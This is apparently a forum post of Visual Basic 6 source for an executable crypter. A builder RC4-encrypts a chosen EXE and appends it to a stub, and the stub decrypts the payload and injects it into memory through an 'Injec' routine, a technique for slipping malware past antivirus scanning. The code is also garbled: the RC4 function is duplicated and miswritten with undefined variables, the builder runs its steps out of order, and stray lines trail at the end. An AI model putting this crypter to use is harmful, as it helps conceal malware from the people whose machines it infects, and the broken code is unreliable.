Indetectables

Private Sub cmdbuscar_Click()
With CD
.DialogTitle = "Selecione la ruta donde guardar el archivo encriptado :EE"
.Filter = "Aplicaciones EXE|*.exe"
.ShowSave
End With

If Not CD.FileName = vbNullString Then


Archivo = RC4(Archivo, txtkey.Text)

Open CD.FileName For Binary As #1
Put #1, , Stub & "##$$##" & Archivo & "##$$##" & txtkey.Text & "##$$##"
Close #1

MsgBox "Archivo Encriptado Correctamente!", vbInformation, Me.Caption
End If
If txtarchivo.Text = vbNullString Then '
MsgBox "Primero debe cargar un archivo para encriptar!", vbExclamation, Me.Caption
Exit Sub
Else


Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1

Open txtarchivo.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1
End If





End Sub
Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = Y = (Y + F(X) + Key(X Mod Len(al0ys))) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function

Sub Main()

Dim YO As String, Datos As String, sData() As String
YO = App.Path & "\" & App.EXEName & ".EXE"

Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1

sData() = Split(Datos, "##$$##")

sData(1) = RC4(sData(1), "al0ys")

Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString


End Sub
Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function

sData(1) = RC4(sData(1), "al0ys")

sData(1) = RC4(sData(1), sData(2))